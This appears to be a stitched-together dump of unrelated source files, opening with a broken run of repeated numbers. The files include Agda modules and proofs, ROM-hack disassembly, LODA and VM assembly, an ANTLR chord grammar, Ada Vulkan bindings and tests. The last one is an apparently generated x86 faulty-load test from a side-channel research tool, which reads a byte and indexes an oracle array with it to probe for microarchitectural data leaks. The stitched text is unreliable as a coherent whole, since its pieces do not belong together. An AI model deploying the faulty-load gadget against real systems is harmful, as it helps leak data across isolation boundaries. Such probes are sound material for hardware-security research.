32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
|
Syntax/Idiom.agda | Lolirofle/stuff-in-agda | 6 | 9396 | <filename>Syntax/Idiom.agda
-- Idiom bracket notation.
module Syntax.Idiom where
import Lvl
open import Type
private variable ℓ ℓ₁ ℓ₂ : Lvl.Level
private variable A B : Type{ℓ}
private variable F : Type{ℓ₁} → Type{ℓ₂}
-- The notation `⦇ f x₁ x₂ x₃ ⦈` will automatically be translated to `((pure f <*> x₁) <*> x₂) <*> x₃`.
record IdiomBrackets (F : Type{ℓ₁} → Type{ℓ₂}) : Type{Lvl.𝐒(ℓ₁) Lvl.⊔ ℓ₂} where
constructor intro
field
pure : (A → F(A))
_<*>_ : F(A → B) → (F(A) → F(B))
open IdiomBrackets ⦃ … ⦄ using (pure ; _<*>_) public
-- The notation `⦇⦈` will automatically be translated to `empty`.
record IdiomBrackets₀ (F : Type{ℓ₁} → Type{ℓ₂}) : Type{Lvl.𝐒(ℓ₁) Lvl.⊔ ℓ₂} where
constructor intro
field
empty : F(A)
open IdiomBrackets₀ ⦃ … ⦄ using (empty) public
-- The notation `⦇ f₁ x₁ x₂ x₃ | f₂ y₁ y₂ | f₃ z₁ ⦈` will automatically be translated to `(((pure f <*> x₁) <*> x₂) <*> x₃) <|> (((pure f₂ <*> y₁) <*> y₂) <|> (pure f₃ <*> z₁))`.
record IdiomBrackets₊ (F : Type{ℓ₁} → Type{ℓ₂}) ⦃ _ : IdiomBrackets(F) ⦄ : Type{Lvl.𝐒(ℓ₁) Lvl.⊔ ℓ₂} where
constructor intro
field
_<|>_ : F(A) → F(A) → F(A)
open IdiomBrackets₊ ⦃ … ⦄ using (_<|>_) public
|
dino/lcs/base/4DB.asm | zengfr/arcade_game_romhacking_sourcecode_top_secret_data | 6 | 99847 | copyright zengfr site:http://github.com/zengfr/romhack
006D7C tst.b ($4db,A5)
006D80 bne $6e28
006DFC tst.b ($4db,A5)
006E00 bne $6e28
006E2A tst.b ($4db,A5)
006E2E bne $6eae
00AD24 bne $ad34 [base+4D9]
00AD34 rts [base+4DB]
08BDC8 move.b #$1, ($4db,A5) [base+4D5]
08BDCE move.b #$1, ($50e,A5) [base+4DB]
08C096 clr.b ($4db,A5) [base+4D5]
08C09A clr.b ($50e,A5) [base+4DB]
copyright zengfr site:http://github.com/zengfr/romhack
|
oeis/016/A016135.asm | neoneye/loda-programs | 11 | 28052 | <gh_stars>10-100
; A016135: Expansion of 1/((1-2*x)*(1-11*x)).
; 1,13,147,1625,17891,196833,2165227,23817625,261994131,2881935953,31701296507,348714263625,3835856903971,42194425951873,464138685486987,5105525540389625,56160780944351411,617768590387996593,6795454494268224667,74749999436950995625,822249993806462000451,9044749931871084102113,99492249250581929317547,1094414741756401230881625,12038562159320413556475091,132424183752524549154780433,1456666021277770040769693627,16023326234055470448600847625,176256588574610174934877759331
add $0,1
mov $1,11
pow $1,$0
mov $2,2
pow $2,$0
sub $1,$2
div $1,9
mov $0,$1
|
Data/Binary/Addition/Properties.agda | oisdk/agda-playground | 6 | 13784 | {-# OPTIONS --cubical --safe #-}
module Data.Binary.Addition.Properties where
open import Prelude
open import Data.Binary.Definition
open import Data.Binary.Addition
open import Data.Binary.Conversion
import Data.Nat as ℕ
import Data.Nat.Properties as ℕ
open import Path.Reasoning
open import Data.Binary.Isomorphism
+-cong : ∀ xs ys → ⟦ xs + ys ⇓⟧ ≡ ⟦ xs ⇓⟧ ℕ.+ ⟦ ys ⇓⟧
add₁-cong : ∀ xs ys → ⟦ add₁ xs ys ⇓⟧ ≡ 1 ℕ.+ ⟦ xs ⇓⟧ ℕ.+ ⟦ ys ⇓⟧
add₂-cong : ∀ xs ys → ⟦ add₂ xs ys ⇓⟧ ≡ 2 ℕ.+ ⟦ xs ⇓⟧ ℕ.+ ⟦ ys ⇓⟧
lemma₁ : ∀ xs ys → ⟦ add₁ xs ys ⇓⟧ ℕ.* 2 ≡ ⟦ xs ⇓⟧ ℕ.* 2 ℕ.+ (2 ℕ.+ ⟦ ys ⇓⟧ ℕ.* 2)
lemma₁ xs ys =
⟦ add₁ xs ys ⇓⟧ ℕ.* 2 ≡⟨ cong (ℕ._* 2) (add₁-cong xs ys) ⟩
2 ℕ.+ (⟦ xs ⇓⟧ ℕ.+ ⟦ ys ⇓⟧) ℕ.* 2 ≡⟨ cong (2 ℕ.+_ ) (ℕ.+-*-distrib ⟦ xs ⇓⟧ ⟦ ys ⇓⟧ 2) ⟩
2 ℕ.+ ⟦ xs ⇓⟧ ℕ.* 2 ℕ.+ ⟦ ys ⇓⟧ ℕ.* 2 ≡⟨ cong (ℕ._+ (⟦ ys ⇓⟧ ℕ.* 2)) (ℕ.+-comm 2 (⟦ xs ⇓⟧ ℕ.* 2)) ⟩
⟦ xs ⇓⟧ ℕ.* 2 ℕ.+ 2 ℕ.+ ⟦ ys ⇓⟧ ℕ.* 2 ≡⟨ ℕ.+-assoc (⟦ xs ⇓⟧ ℕ.* 2) 2 (⟦ ys ⇓⟧ ℕ.* 2) ⟩
⟦ xs ⇓⟧ ℕ.* 2 ℕ.+ (2 ℕ.+ ⟦ ys ⇓⟧ ℕ.* 2) ∎
lemma₂ : ∀ xs ys → ⟦ add₁ xs ys ⇓⟧ ℕ.* 2 ≡ (1 ℕ.+ ⟦ xs ⇓⟧ ℕ.* 2) ℕ.+ (1 ℕ.+ ⟦ ys ⇓⟧ ℕ.* 2)
lemma₂ xs ys =
⟦ add₁ xs ys ⇓⟧ ℕ.* 2 ≡⟨ cong (ℕ._* 2) (add₁-cong xs ys) ⟩
(1 ℕ.+ ⟦ xs ⇓⟧ ℕ.+ ⟦ ys ⇓⟧) ℕ.* 2 ≡⟨ ℕ.+-*-distrib (1 ℕ.+ ⟦ xs ⇓⟧) ⟦ ys ⇓⟧ 2 ⟩
2 ℕ.+ ⟦ xs ⇓⟧ ℕ.* 2 ℕ.+ ⟦ ys ⇓⟧ ℕ.* 2 ≡˘⟨ ℕ.+-suc (1 ℕ.+ ⟦ xs ⇓⟧ ℕ.* 2) (⟦ ys ⇓⟧ ℕ.* 2) ⟩
(1 ℕ.+ ⟦ xs ⇓⟧ ℕ.* 2) ℕ.+ (1 ℕ.+ ⟦ ys ⇓⟧ ℕ.* 2) ∎
lemma₃ : ∀ xs ys → ⟦ add₂ xs ys ⇓⟧ ℕ.* 2 ≡ suc (suc (⟦ xs ⇓⟧ ℕ.* 2 ℕ.+ suc (suc (⟦ ys ⇓⟧ ℕ.* 2))))
lemma₃ xs ys =
⟦ add₂ xs ys ⇓⟧ ℕ.* 2 ≡⟨ cong (ℕ._* 2) (add₂-cong xs ys) ⟩
(2 ℕ.+ ⟦ xs ⇓⟧ ℕ.+ ⟦ ys ⇓⟧) ℕ.* 2 ≡˘⟨ cong (ℕ._* 2) (ℕ.+-suc (1 ℕ.+ ⟦ xs ⇓⟧) ⟦ ys ⇓⟧) ⟩
((1 ℕ.+ ⟦ xs ⇓⟧) ℕ.+ (1 ℕ.+ ⟦ ys ⇓⟧)) ℕ.* 2 ≡⟨ ℕ.+-*-distrib (1 ℕ.+ ⟦ xs ⇓⟧) (1 ℕ.+ ⟦ ys ⇓⟧) 2 ⟩
suc (suc (⟦ xs ⇓⟧ ℕ.* 2 ℕ.+ suc (suc (⟦ ys ⇓⟧ ℕ.* 2)))) ∎
add₁-cong 0ᵇ ys = inc-suc ys
add₁-cong (1ᵇ xs) 0ᵇ = cong (2 ℕ.+_) (sym (ℕ.+-idʳ (⟦ xs ⇓⟧ ℕ.* 2)))
add₁-cong (2ᵇ xs) 0ᵇ = cong suc (cong (ℕ._* 2) (inc-suc xs) ; cong (2 ℕ.+_) (sym (ℕ.+-idʳ (⟦ xs ⇓⟧ ℕ.* 2))))
add₁-cong (1ᵇ xs) (1ᵇ ys) = cong suc (lemma₂ xs ys)
add₁-cong (1ᵇ xs) (2ᵇ ys) = cong (2 ℕ.+_) (lemma₁ xs ys)
add₁-cong (2ᵇ xs) (1ᵇ ys) = cong (2 ℕ.+_) (lemma₂ xs ys)
add₁-cong (2ᵇ xs) (2ᵇ ys) = cong (1 ℕ.+_) (lemma₃ xs ys)
add₂-cong 0ᵇ 0ᵇ = refl
add₂-cong 0ᵇ (1ᵇ ys) = cong (1 ℕ.+_) (cong (ℕ._* 2) (inc-suc ys))
add₂-cong 0ᵇ (2ᵇ ys) = cong (2 ℕ.+_) (cong (ℕ._* 2) (inc-suc ys))
add₂-cong (1ᵇ xs) 0ᵇ = cong (1 ℕ.+_) ((cong (ℕ._* 2) (inc-suc xs)) ; cong (2 ℕ.+_) (sym (ℕ.+-idʳ _)))
add₂-cong (2ᵇ xs) 0ᵇ = cong (2 ℕ.+_) ((cong (ℕ._* 2) (inc-suc xs)) ; cong (2 ℕ.+_) (sym (ℕ.+-idʳ _)))
add₂-cong (1ᵇ xs) (1ᵇ ys) = cong (2 ℕ.+_ ) (lemma₂ xs ys)
add₂-cong (1ᵇ xs) (2ᵇ ys) = cong (1 ℕ.+_) (lemma₃ xs ys)
add₂-cong (2ᵇ xs) (1ᵇ ys) = cong (1 ℕ.+_) (lemma₃ xs ys ; ℕ.+-suc (2 ℕ.+ ⟦ xs ⇓⟧ ℕ.* 2) (1 ℕ.+ ⟦ ys ⇓⟧ ℕ.* 2))
add₂-cong (2ᵇ xs) (2ᵇ ys) = cong (2 ℕ.+_) (lemma₃ xs ys)
+-cong 0ᵇ ys = refl
+-cong (1ᵇ xs) 0ᵇ = cong suc (sym (ℕ.+-idʳ (⟦ xs ⇓⟧ ℕ.* 2)))
+-cong (2ᵇ xs) 0ᵇ = cong (suc ∘ suc) (sym (ℕ.+-idʳ (⟦ xs ⇓⟧ ℕ.* 2)))
+-cong (1ᵇ xs) (1ᵇ ys) =
2 ℕ.+ ⟦ xs + ys ⇓⟧ ℕ.* 2 ≡⟨ cong (λ xy → 2 ℕ.+ xy ℕ.* 2) (+-cong xs ys) ⟩
2 ℕ.+ (⟦ xs ⇓⟧ ℕ.+ ⟦ ys ⇓⟧) ℕ.* 2 ≡⟨ cong (2 ℕ.+_) (ℕ.+-*-distrib ⟦ xs ⇓⟧ ⟦ ys ⇓⟧ 2) ⟩
2 ℕ.+ (⟦ xs ⇓⟧ ℕ.* 2 ℕ.+ ⟦ ys ⇓⟧ ℕ.* 2) ≡˘⟨ cong suc (ℕ.+-suc (⟦ xs ⇓⟧ ℕ.* 2) (⟦ ys ⇓⟧ ℕ.* 2)) ⟩
1 ℕ.+ ⟦ xs ⇓⟧ ℕ.* 2 ℕ.+ (1 ℕ.+ ⟦ ys ⇓⟧ ℕ.* 2) ∎
+-cong (1ᵇ xs) (2ᵇ ys) = cong suc (lemma₁ xs ys)
+-cong (2ᵇ xs) (1ᵇ ys) = cong suc (lemma₂ xs ys)
+-cong (2ᵇ xs) (2ᵇ ys) = cong (2 ℕ.+_) (lemma₁ xs ys)
+-cong˘ : ∀ xs ys → ⟦ xs ℕ.+ ys ⇑⟧ ≡ ⟦ xs ⇑⟧ + ⟦ ys ⇑⟧
+-cong˘ xs ys =
⟦ xs ℕ.+ ys ⇑⟧ ≡˘⟨ cong ⟦_⇑⟧ (cong₂ ℕ._+_ (𝔹-rightInv xs) (𝔹-rightInv ys)) ⟩
⟦ ⟦ ⟦ xs ⇑⟧ ⇓⟧ ℕ.+ ⟦ ⟦ ys ⇑⟧ ⇓⟧ ⇑⟧ ≡˘⟨ cong ⟦_⇑⟧ (+-cong ⟦ xs ⇑⟧ ⟦ ys ⇑⟧) ⟩
⟦ ⟦ ⟦ xs ⇑⟧ + ⟦ ys ⇑⟧ ⇓⟧ ⇑⟧ ≡⟨ 𝔹-leftInv (⟦ xs ⇑⟧ + ⟦ ys ⇑⟧) ⟩
⟦ xs ⇑⟧ + ⟦ ys ⇑⟧ ∎
|
examples/asm/subroutines.asm | bitmario/cpp-vm | 19 | 160847 | <reponame>bitmario/cpp-vm<filename>examples/asm/subroutines.asm<gh_stars>10-100
.main:
call .sub1
pop r1
print r1, 1
halt
.sub1:
push ra
push r0
call .sub2
mov r2, r0
pop r0
pop ra
push r2
ret
.sub2:
lcons r0, 1
ret
|
test/Succeed/Issue2571.agda | shlevy/agda | 1,989 | 1924 |
module _ where
data N : Set where
zero : N
suc : N → N
record P : Set where
constructor p
field fst : N
snd : N
open P
-- f = λ z → z internally
f : P → P
f z = p (fst z) (snd z)
-- This should also be λ z → z, but was not due to #2157.
g : P → P
g (p x y) = p x y
|
LibraBFT/ImplShared/Util/Util.agda | oracle/bft-consensus-agda | 4 | 10709 | {- Byzantine Fault Tolerant Consensus Verification in Agda, version 0.9.
Copyright (c) 2020, 2021, Oracle and/or its affiliates.
Licensed under the Universal Permissive License v 1.0 as shown at https://opensource.oracle.com/licenses/upl
-}
open import LibraBFT.Prelude
open import LibraBFT.ImplShared.Consensus.Types
open import LibraBFT.ImplShared.Interface.Output
-- This module defines the LBFT monad used by our (fake/simple,
-- for now) "implementation", along with some utility functions
-- to facilitate reasoning about it.
module LibraBFT.ImplShared.Util.Util where
open import Optics.All
open import LibraBFT.ImplShared.Util.Dijkstra.Syntax public
open import LibraBFT.ImplShared.Util.Dijkstra.RWS public
open import LibraBFT.ImplShared.Util.Dijkstra.RWS.Syntax public
open import LibraBFT.ImplShared.Util.Dijkstra.EitherD public
open import LibraBFT.ImplShared.Util.Dijkstra.EitherD.Syntax public
----------------
-- LBFT Monad --
----------------
-- Global 'LBFT'; works over the whole state.
LBFT : Set → Set₁
LBFT = RWS Unit Output RoundManager
LBFT-run : ∀ {A} → LBFT A → RoundManager → (A × RoundManager × List Output)
LBFT-run m = RWS-run m unit
LBFT-result : ∀ {A} → LBFT A → RoundManager → A
LBFT-result m rm = proj₁ (LBFT-run m rm)
LBFT-post : ∀ {A} → LBFT A → RoundManager → RoundManager
LBFT-post m rm = proj₁ (proj₂ (LBFT-run m rm))
LBFT-outs : ∀ {A} → LBFT A → RoundManager → List Output
LBFT-outs m rm = proj₂ (proj₂ (LBFT-run m rm))
LBFT-Pre = RoundManager → Set
LBFT-Post = RWS-Post Output RoundManager
LBFT-Post-True : ∀ {A} → LBFT-Post A → LBFT A → RoundManager → Set
LBFT-Post-True Post m pre =
let (x , post , outs) = LBFT-run m pre in
Post x post outs
LBFT-weakestPre : ∀ {A} (m : LBFT A)
→ LBFT-Post A → LBFT-Pre
LBFT-weakestPre m Post pre = RWS-weakestPre m Post unit pre
LBFT-Contract : ∀ {A} (m : LBFT A) → Set₁
LBFT-Contract{A} m =
(Post : RWS-Post Output RoundManager A)
→ (pre : RoundManager) → LBFT-weakestPre m Post pre
→ LBFT-Post-True Post m pre
LBFT-contract : ∀ {A} (m : LBFT A) → LBFT-Contract m
LBFT-contract m Post pre pf = RWS-contract m Post unit pre pf
LBFT-⇒
: ∀ {A} (P Q : LBFT-Post A) → (RWS-Post-⇒ P Q)
→ ∀ m pre → LBFT-weakestPre m P pre → LBFT-weakestPre m Q pre
LBFT-⇒ Post₁ Post₂ f m pre pf = RWS-⇒ Post₁ Post₂ f m unit pre pf
LBFT-⇒-bind
: ∀ {A B} (P : LBFT-Post A) (Q : LBFT-Post B) (f : A → LBFT B)
→ (RWS-Post-⇒ P (RWS-weakestPre-bindPost unit f Q))
→ ∀ m st → LBFT-weakestPre m P st → LBFT-weakestPre (m >>= f) Q st
LBFT-⇒-bind Post Q f pf m st con = RWS-⇒-bind Post Q f unit pf m st con
LBFT-⇒-ebind
: ∀ {A B C} (P : LBFT-Post (Either C A)) (Q : LBFT-Post (Either C B))
→ (f : A → LBFT (Either C B))
→ RWS-Post-⇒ P (RWS-weakestPre-ebindPost unit f Q)
→ ∀ m st → LBFT-weakestPre m P st
→ LBFT-weakestPre (m ∙?∙ f) Q st
LBFT-⇒-ebind Post Q f pf m st con =
RWS-⇒-ebind Post Q f unit pf m st con
|
ChordLabel.g4 | bzamecnik/chord-labels | 6 | 6844 | <reponame>bzamecnik/chord-labels
/**
* Grammar for chord labels (ANTLR 4).
*
* <NAME>. et al. (2005)
* Symbolic representation of musical chords: a proposed syntax for text
* annotations. Proceedings of 6th International Conference on Music
* Information Retrieval.
*
* http://ismir2005.ismir.net/proceedings/1080.pdf
*
* Syntax of Chord Notation in Backus-Naur Form:
*
* <chord> ::= <root> ":" <shorthand> ["("<degree-list>")"]["/"<degree>]
* | <root> ":" "("<degree-list>")" ["/"<degree>]
* | <root> ["/"<degree>] | "N"
* <root> ::= <natural> | <root> <modifier>
* <natural> ::= A|B|C|D|E|F|G
* <modifier> ::= b|#
* <degree-list> ::= ["*"] <degree> ["," <degree-list>]
* <degree> ::= <interval> | <modifier> <degree>
* <interval> ::= 1|2|3|4|5|6|7|8|9|10|11|12|13
* <shorthand> ::= maj|min|dim|aug|maj7|min7|7|dim7|hdim7
* |minmaj7|maj6|min6|9|maj9|min9|sus4
*/
grammar ChordLabel;
chord: root (SEPARATOR (components | shorthand components?))? bass? | NO_CHORD;
root: natural modifier*;
natural: NATURAL;
modifier: FLAT | SHARP;
components: '(' component (',' component)* ')';
component: missing? degree;
missing: '*';
degree: modifier* interval;
interval: I_1 | I_2 | I_3 | I_4 | I_5 | I_6 | I_7 | I_8 | I_9 | I_10 | I_11 | I_12 | I_13;
bass: ('/' degree);
// note: we have to share the symbols with INTERVAL to prevent conflicts
shorthand:
// original shorthands from paper
'maj' | 'min' | 'dim' | 'aug'
| 'maj7' | 'min7' | I_7 | 'dim7' | 'hdim7' | 'minmaj7'
| 'maj6' | 'min6'
| I_9 | 'maj9' | 'min9'
| 'sus4'
// extra shorthands (not in the original paper, but appearing in practice)
// C:11 = C:9(11)
// C:13 = C:9(11,13)
// C:sus2 = C:(2,5)
| I_11 | I_13 | 'sus2';
NATURAL: ('A'..'G');
FLAT: 'b';
SHARP: '#';
I_1: '1';
I_2: '2';
I_3: '3';
I_4: '4';
I_5: '5';
I_6: '6';
I_7: '7';
I_8: '8';
I_9: '9';
I_10: '10';
I_11: '11';
I_12: '12';
I_13: '13';
NO_CHORD: 'N';
SEPARATOR: ':';
|
src/gen/vulkan-low_level-vulkan_ggp_h.ads | persan/a-vulkan | 0 | 19476 | pragma Ada_2012;
pragma Style_Checks (Off);
with System;
package Vulkan.Low_Level.vulkan_ggp_h is
VULKAN_GGP_H_u : constant := 1; -- vulkan_ggp.h:2
VK_GGP_stream_descriptor_surface : constant := 1; -- vulkan_ggp.h:32
VK_GGP_STREAM_DESCRIPTOR_SURFACE_SPEC_VERSION : constant := 1; -- vulkan_ggp.h:33
VK_GGP_STREAM_DESCRIPTOR_SURFACE_EXTENSION_NAME : aliased constant String := "VK_GGP_stream_descriptor_surface" & ASCII.NUL; -- vulkan_ggp.h:34
VK_GGP_frame_token : constant := 1; -- vulkan_ggp.h:54
VK_GGP_FRAME_TOKEN_SPEC_VERSION : constant := 1; -- vulkan_ggp.h:55
VK_GGP_FRAME_TOKEN_EXTENSION_NAME : aliased constant String := "VK_GGP_frame_token" & ASCII.NUL; -- vulkan_ggp.h:56
--** Copyright (c) 2015-2019 The Khronos Group Inc.
--**
--** Licensed under the Apache License, Version 2.0 (the "License");
--** you may not use this file except in compliance with the License.
--** You may obtain a copy of the License at
--**
--** http://www.apache.org/licenses/LICENSE-2.0
--**
--** Unless required by applicable law or agreed to in writing, software
--** distributed under the License is distributed on an "AS IS" BASIS,
--** WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
--** See the License for the specific language governing permissions and
--** limitations under the License.
--
--** This header is generated from the Khronos Vulkan XML API Registry.
--**
--
type VkStreamDescriptorSurfaceCreateInfoGGP is record
pNext : System.Address; -- vulkan_ggp.h:38
end record
with Convention => C_Pass_By_Copy; -- vulkan_ggp.h:36
type VkPresentFrameTokenGGP is record
pNext : System.Address; -- vulkan_ggp.h:59
end record
with Convention => C_Pass_By_Copy; -- vulkan_ggp.h:57
end Vulkan.Low_Level.vulkan_ggp_h;
|
Task/Parsing-RPN-to-infix-conversion/Ada/parsing-rpn-to-infix-conversion-2.ada | mullikine/RosettaCodeData | 1 | 7099 | with Ada.Strings.Unbounded; use Ada.Strings.Unbounded;
with Ada.Text_IO; use Ada.Text_IO;
with Generic_Stack;
procedure RPN_to_Infix is
-- The code above
begin
Put_Line ("3 4 2 * 1 5 - 2 3 ^ ^ / + = ");
Put_Line (Convert ("3 4 2 * 1 5 - 2 3 ^ ^ / +"));
Put_Line ("1 2 + 3 4 + ^ 5 6 + ^ = ");
Put_Line (Convert ("1 2 + 3 4 + ^ 5 6 + ^"));
end RPN_to_Infix;
|
libsrc/_DEVELOPMENT/fcntl/c/sccz80/open.asm | jpoikela/z88dk | 640 | 95052 |
; int open(const char *path, int oflag, ...)
SECTION code_clib
SECTION code_fcntl
PUBLIC open
EXTERN asm_open
defc open = asm_open
|
programs/oeis/104/A104739.asm | neoneye/loda | 22 | 243877 | ; A104739: Positions of records in A104717.
; 1,2,3,4,6,7,8,11,12,14,16,19,20,23,24,27,31,32,35,38,43,44,47,48,51,56,60,62,64,70,71,75,80,83,87,88,91,96,103,107,110,111,115,123,124,127,135,139,140,147,148,152,163,164,166,174,179,180,184,188,192
mul $0,2
lpb $0
add $1,1
mul $1,$0
sub $0,1
div $1,$0
sub $0,1
lpe
div $1,2
add $1,1
mov $0,$1
|
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/missing_acc_check.adb | best08618/asylo | 7 | 20188 | -- { dg-do run }
procedure Missing_Acc_Check is
Test_Failed : Exception;
type Int_Access is access all Integer;
Save : Int_Access := null;
type Int_Rec is record
Int : aliased Integer;
end record;
type Ltd_Rec (IR_Acc : access Int_Rec) is limited null record;
function Pass_Rec (IR_Acc : access Int_Rec) return Int_Access is
begin
return IR_Acc.Int'Access; -- Accessibility check here
end Pass_Rec;
procedure Proc is
IR : aliased Int_Rec;
LR : Ltd_Rec (IR'Access);
begin
Save := Pass_Rec (LR.IR_Acc); -- Must raise Program_Error;
if Save /= null then
raise Test_Failed;
end if;
exception
when Program_Error =>
null;
end Proc;
begin
Proc;
end Missing_Acc_Check;
|
oeis/276/A276984.asm | neoneye/loda-programs | 11 | 247807 | <gh_stars>10-100
; A276984: Sum of squares of numbers less than n that do not divide n.
; 0,0,4,9,29,41,90,119,194,255,384,440,649,765,980,1155,1495,1654,2108,2324,2811,3185,3794,4050,4874,5351,6110,6664,7713,8155,9454,10075,11309,12235,13610,14295,16205,17209,18840,19930,22139,23085,25584,26808,29029,30861,33510,34614,37974,39670,42626,44660,48229,49855,53808,55866,59745,62519,66728,68350,73809,76565,80794,83979,89245,91921,98020,101044,106595,110295,116794,119285,127019,130975,136940,141624,149055,152739,161238,165014,173060,178755,187164,190610,200795,206481,214880,220674,231043
add $0,1
mov $2,$0
lpb $0
mov $3,$2
dif $3,$0
cmp $3,$2
mul $3,$0
sub $0,1
pow $3,2
add $1,$3
lpe
sub $1,1
mov $0,$1
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca.log_21829_1583.asm | ljhsiun2/medusa | 9 | 244722 | .global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x1a9f, %rsi
lea addresses_WC_ht+0xda9f, %rdi
dec %r12
mov $53, %rcx
rep movsb
nop
nop
nop
cmp $6137, %r11
lea addresses_WT_ht+0x6a57, %rbp
nop
nop
add %rdi, %rdi
vmovups (%rbp), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $1, %xmm4, %rsi
and %r11, %r11
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r8
push %rbx
push %rdi
push %rdx
// Faulty Load
lea addresses_PSE+0x1fa9f, %r12
cmp %r8, %r8
movb (%r12), %bl
lea oracles, %r8
and $0xff, %rbx
shlq $12, %rbx
mov (%r8,%rbx,1), %rbx
pop %rdx
pop %rdi
pop %rbx
pop %r8
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'congruent': 0, 'AVXalign': True, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 1, 'NT': False, 'type': 'addresses_PSE'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'congruent': 11, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 10, 'same': False, 'type': 'addresses_WC_ht'}}
{'src': {'congruent': 2, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 